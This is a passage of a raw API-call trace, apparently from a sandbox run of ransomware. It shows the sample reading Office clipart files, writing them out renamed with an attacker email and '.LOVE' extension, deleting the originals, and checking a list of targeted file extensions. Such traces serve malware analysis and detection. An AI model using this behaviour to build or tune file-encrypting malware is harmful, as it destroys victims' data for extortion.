(in: hFile=0x2f0, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x2856, lpOverlapped=0x0) returned 1 [0212.714] WriteFile (in: hFile=0x364, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x2860, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x2860, lpOverlapped=0x0) returned 1 [0212.715] ReadFile (in: hFile=0x2f0, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0212.715] WriteFile (in: hFile=0x364, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xea, lpOverlapped=0x0) returned 1 [0212.715] SetEndOfFile (hFile=0x364) returned 1 [0212.715] CloseHandle (hObject=0x364) returned 1 [0212.715] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0212.715] SetEndOfFile (hFile=0x2f0) returned 1 [0212.716] CloseHandle (hObject=0x2f0) returned 1 [0212.716] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0212.717] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf")) returned 1 [0212.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0212.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0212.717] lstrlenW (lpString=".doc") returned 4 [0212.717] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.717] lstrlenW (lpString=".docx") returned 5 [0212.717] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0212.717] lstrlenW (lpString=".pdf") returned 4 [0212.717] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.717] lstrlenW (lpString=".xls") returned 4 [0212.717] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.717] lstrlenW (lpString=".xlsx") returned 5 [0212.717] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0212.717] lstrlenW (lpString=".ppt") returned 4 [0212.717] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0212.717] lstrlenW (lpString=".zip") returned 4 [0212.717] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.717] lstrlenW (lpString=".rar") returned 4 [0212.717] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.717] lstrlenW (lpString=".bz2") returned 4 [0212.717] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.717] lstrlenW (lpString=".7z") returned 3 [0212.717] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0212.717] lstrlenW (lpString=".dbf") returned 4 [0212.717] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0212.717] lstrlenW (lpString=".1cd") returned 4 [0212.718] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0212.718] lstrlenW (lpString=".jpg") returned 4 [0212.718] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.850] GetLastError () returned 0x0 [0212.850] ReadFile (in: hFile=0x388, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x9c5e, lpOverlapped=0x0) returned 1 [0212.993] WriteFile (in: hFile=0x33c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x9c60, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x9c60, lpOverlapped=0x0) returned 1 [0212.995] ReadFile (in: hFile=0x388, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0212.995] WriteFile (in: hFile=0x33c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0212.995] SetEndOfFile (hFile=0x33c) returned 1 [0212.995] CloseHandle (hObject=0x33c) returned 1 [0212.995] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0212.995] SetEndOfFile (hFile=0x388) returned 1 [0212.996] CloseHandle (hObject=0x388) returned 1 [0212.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0212.996] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf")) returned 1 [0212.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0212.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0212.997] lstrlenW (lpString=".doc") returned 4 [0212.997] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.997] lstrlenW (lpString=".docx") returned 5 [0212.997] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0212.997] lstrlenW (lpString=".pdf") returned 4 [0212.997] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.997] lstrlenW (lpString=".xls") returned 4 [0212.997] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.997] lstrlenW (lpString=".xlsx") returned 5 [0212.997] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0212.997] lstrlenW (lpString=".ppt") returned 4 [0212.997] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0212.997] lstrlenW (lpString=".zip") returned 4 [0212.997] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.997] lstrlenW (lpString=".rar") returned 4 [0212.997] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.997] lstrlenW (lpString=".bz2") returned 4 [0212.997] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.997] lstrlenW (lpString=".7z") returned 3 [0212.997] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0212.997] lstrlenW (lpString=".dbf") returned 4 [0212.997] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0212.998] lstrlenW (lpString=".1cd") returned 4 [0212.998] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0212.998] lstrlenW (lpString=".jpg") returned 4 [0212.998] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.998] GetLastError () returned 0x0 [0212.998] ReadFile (in: hFile=0x388, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x318, lpOverlapped=0x0) returned 1 [0213.053] WriteFile (in: hFile=0x33c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x320, lpOverlapped=0x0) returned 1 [0213.054] ReadFile (in: hFile=0x388, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0213.054] WriteFile (in: hFile=0x33c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0213.054] SetEndOfFile (hFile=0x33c) returned 1 [0213.054] CloseHandle (hObject=0x33c) returned 1 [0213.054] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0213.054] SetEndOfFile (hFile=0x388) returned 1 [0213.055] CloseHandle (hObject=0x388) returned 1 [0213.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0213.056] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf")) returned 1 [0213.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0213.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0213.056] lstrlenW (lpString=".doc") returned 4 [0213.056] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0213.056] lstrlenW (lpString=".docx") returned 5 [0213.056] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0213.056] lstrlenW (lpString=".pdf") returned 4 [0213.056] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0213.056] lstrlenW (lpString=".xls") returned 4 [0213.056] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0213.056] lstrlenW (lpString=".xlsx") returned 5 [0213.056] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0213.056] lstrlenW (lpString=".ppt") returned 4 [0213.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0213.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0213.057] lstrlenW (lpString=".zip") returned 4 [0213.057] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0213.057] lstrlenW (lpString=".rar") returned 4 [0213.057] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0213.057] lstrlenW (lpString=".bz2") returned 4 [0213.057] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0213.057] lstrlenW (lpString=".7z") returned 3 [0213.057] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0213.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0213.057] lstrlenW (lpString=".dbf") returned 4 [0213.057] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0213.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0213.057] lstrlenW (lpString=".1cd") returned 4 [0213.057] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0213.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0213.057] lstrlenW (lpString=".jpg") returned 4 [0213.057] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0213.058] GetLastError () returned 0x0 [0213.058] ReadFile (in: hFile=0x388, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x44b0, lpOverlapped=0x0) returned 1 [0213.182] WriteFile (in: hFile=0x33c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x44c0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x44c0, lpOverlapped=0x0) returned 1 [0213.182] ReadFile (in: hFile=0x388, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0213.182] WriteFile (in: hFile=0x33c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0213.182] SetEndOfFile (hFile=0x33c) returned 1 [0213.183] CloseHandle (hObject=0x33c) returned 1 [0213.183] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0213.183] SetEndOfFile (hFile=0x388) returned 1 [0213.183] CloseHandle (hObject=0x388) returned 1 [0213.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0213.184] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf")) returned 1 [0213.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0213.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0213.184] lstrlenW (lpString=".doc") returned 4 [0213.184] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0213.184] lstrlenW (lpString=".docx") returned 5 [0213.184] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0213.184] lstrlenW (lpString=".pdf") returned 4 [0213.184] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0213.184] lstrlenW (lpString=".xls") returned 4 [0213.184] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0213.184] lstrlenW (lpString=".xlsx") returned 5 [0213.184] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0213.184] lstrlenW (lpString=".ppt") returned 4 [0213.184] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0213.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0213.185] lstrlenW (lpString=".zip") returned 4 [0213.185] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0213.185] lstrlenW (lpString=".rar") returned 4 [0213.185] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0213.185] lstrlenW (lpString=".bz2") returned 4 [0213.185] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0213.185] lstrlenW (lpString=".7z") returned 3 [0213.185] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0213.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0213.185] lstrlenW (lpString=".dbf") returned 4 [0213.185] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0213.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0213.185] lstrlenW (lpString=".1cd") returned 4 [0213.185] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0213.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0213.185] lstrlenW (lpString=".jpg") returned 4 [0213.185] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.488] GetLastError () returned 0x0 [0217.488] ReadFile (in: hFile=0x348, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x1e94, lpOverlapped=0x0) returned 1 [0217.692] WriteFile (in: hFile=0x2cc, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x1ea0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x1ea0, lpOverlapped=0x0) returned 1 [0217.693] ReadFile (in: hFile=0x348, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0217.693] WriteFile (in: hFile=0x2cc, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0217.693] SetEndOfFile (hFile=0x2cc) returned 1 [0217.693] CloseHandle (hObject=0x2cc) returned 1 [0217.693] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0217.693] SetEndOfFile (hFile=0x348) returned 1 [0217.694] CloseHandle (hObject=0x348) returned 1 [0217.694] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0217.694] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf")) returned 1 [0217.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0217.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0217.694] lstrlenW (lpString=".doc") returned 4 [0217.694] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.694] lstrlenW (lpString=".docx") returned 5 [0217.694] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.694] lstrlenW (lpString=".pdf") returned 4 [0217.694] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.694] lstrlenW (lpString=".xls") returned 4 [0217.694] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.694] lstrlenW (lpString=".xlsx") returned 5 [0217.694] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.694] lstrlenW (lpString=".ppt") returned 4 [0217.695] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0217.695] lstrlenW (lpString=".zip") returned 4 [0217.695] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.695] lstrlenW (lpString=".rar") returned 4 [0217.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.695] lstrlenW (lpString=".bz2") returned 4 [0217.695] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.695] lstrlenW (lpString=".7z") returned 3 [0217.695] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0217.695] lstrlenW (lpString=".dbf") returned 4 [0217.695] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0217.695] lstrlenW (lpString=".1cd") returned 4 [0217.695] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0217.695] lstrlenW (lpString=".jpg") returned 4 [0217.695] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.695] GetLastError () returned 0x0 [0217.695] ReadFile (in: hFile=0x348, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x2708, lpOverlapped=0x0) returned 1 [0218.279] WriteFile (in: hFile=0x2cc, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x2710, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x2710, lpOverlapped=0x0) returned 1 [0218.281] ReadFile (in: hFile=0x348, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0218.281] WriteFile (in: hFile=0x2cc, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0218.281] SetEndOfFile (hFile=0x2cc) returned 1 [0218.281] CloseHandle (hObject=0x2cc) returned 1 [0218.281] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0218.281] SetEndOfFile (hFile=0x348) returned 1 [0218.282] CloseHandle (hObject=0x348) returned 1 [0218.283] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0218.283] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf")) returned 1 [0218.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0218.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0218.283] lstrlenW (lpString=".doc") returned 4 [0218.283] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.283] lstrlenW (lpString=".docx") returned 5 [0218.283] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.283] lstrlenW (lpString=".pdf") returned 4 [0218.283] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.283] lstrlenW (lpString=".xls") returned 4 [0218.283] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.283] lstrlenW (lpString=".xlsx") returned 5 [0218.284] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.284] lstrlenW (lpString=".ppt") returned 4 [0218.284] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0218.284] lstrlenW (lpString=".zip") returned 4 [0218.284] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.284] lstrlenW (lpString=".rar") returned 4 [0218.284] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.284] lstrlenW (lpString=".bz2") returned 4 [0218.284] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.284] lstrlenW (lpString=".7z") returned 3 [0218.284] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0218.284] lstrlenW (lpString=".dbf") returned 4 [0218.284] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0218.284] lstrlenW (lpString=".1cd") returned 4 [0218.284] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0218.284] lstrlenW (lpString=".jpg") returned 4 [0218.284] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.285] GetLastError () returned 0x0 [0218.285] ReadFile (in: hFile=0x348, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0xe6c, lpOverlapped=0x0) returned 1 [0218.368] WriteFile (in: hFile=0x2cc, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xe70, lpOverlapped=0x0) returned 1 [0218.457] ReadFile (in: hFile=0x348, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0218.457] WriteFile (in: hFile=0x2cc, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0218.457] SetEndOfFile (hFile=0x2cc) returned 1 [0218.457] CloseHandle (hObject=0x2cc) returned 1 [0218.457] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0218.457] SetEndOfFile (hFile=0x348) returned 1 [0218.458] CloseHandle (hObject=0x348) returned 1 [0218.458] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0218.459] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft 